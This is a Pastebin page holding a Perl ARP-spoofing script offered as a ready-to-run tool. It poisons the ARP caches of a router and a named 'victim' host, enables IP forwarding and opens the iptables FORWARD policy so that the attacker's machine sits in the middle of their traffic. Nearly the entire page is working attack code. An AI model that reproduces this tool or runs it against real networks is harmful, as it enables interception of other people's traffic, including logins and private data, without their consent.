Advertisement
YeiZeta

PERL

Apr 14th, 2012
177
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.17 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. # Perl ARP-Spoofer By Login-Root
  4. # Long life Camacho Tequila
  5. # 2011 shit
  6. # Run it as root
  7.  
  8. # Net::ARP & Net::Ping requerido
  9. use Net::ARP;
  10. use Net::Ping;
  11.  
  12. if ($< != 0)
  13. {
  14. print "\n[!] Run it as root\n\n";
  15. exit(0);
  16. }
  17.  
  18. if(!$ARGV[2])
  19. {
  20. print "\n###########################################";
  21. print "\n# Perl ARP-Spoofer v0.2 | Login-Root Pwnz #";
  22. print "\n###########################################";
  23. print "\n\nUse: perl $0 [INTERFACE] [HOST 1 (Router)] [HOST 2 (Victim)]\n\n";
  24. exit(0);
  25. }
  26.  
  27. sub finaliza
  28. {
  29. print "\n\n[!] Restaurando cache ARP de host's remotos\n";
  30.  
  31. print "\n[+] $host1 is-at $mac1 (to $host2)";
  32. Net::ARP::send_packet($dev, $host1, $host2, $mac1, $mac2, 'reply');
  33. print "\n[+] $host2 is-at $mac2 (to $host1)";
  34. Net::ARP::send_packet($dev, $host2, $host1, $mac2, $mac1, 'reply');
  35.  
  36. print "\n\n[!] Deshabilitando forwarding...";
  37.  
  38. open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error abriendo ip_forward";
  39. print FORWD "0";
  40. close(FORWD);
  41.  
  42. system("iptables -P FORWARD DROP");
  43.  
  44. print "\n[!] Saliendo...\n\n";
  45. exit(0);
  46. }
  47.  
  48. ($dev, $host1, $host2) = @ARGV;
  49.  
  50. print "\n[+] Perl ARP-Spoofer v0.2 starting | Login-Root [+]\n";
  51.  
  52. $lmac = Net::ARP::get_mac($dev);
  53.  
  54. print "\n[!] MAC Local : $lmac";
  55.  
  56. my $ping = Net::Ping->new('icmp');
  57. $ping->ping($host1, 2);
  58. $ping->ping($host2, 2);
  59.  
  60. $mac1 = Net::ARP::arp_lookup($dev,$host1);
  61. $mac2 = Net::ARP::arp_lookup($dev,$host2);
  62.  
  63. print "\n[!] MAC Host 1: $mac1";
  64. print "\n[!] MAC Host 2: $mac2";
  65.  
  66. print "\n\n[!] Habilitando forwarding...";
  67.  
  68. open(FORWD,">"."/proc/sys/net/ipv4/ip_forward") || die "\n[-] Error abriendo ip_forward";
  69. print FORWD "1";
  70. close(FORWD);
  71.  
  72. # (thnx averno)
  73. system("iptables -P FORWARD ACCEPT");
  74.  
  75. print "\n\n[!] Comenzando ARP-Spoofing entre $host1 & $host2, Ctrl-C para finalizar...\n";
  76.  
  77. while(1)
  78. {
  79. $SIG{INT} = \&finaliza;
  80. sleep(1);
  81. print "\n[+] $host1 is-at $lmac (to $host2)";
  82. Net::ARP::send_packet($dev, $host1, $host2, $lmac, $mac2, 'reply');
  83. print "\n[+] $host2 is-at $lmac (to $host1)";
  84. Net::ARP::send_packet($dev, $host2, $host1, $lmac, $mac1, 'reply');
  85.  
  86. }
  87.  
  88. __END__
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement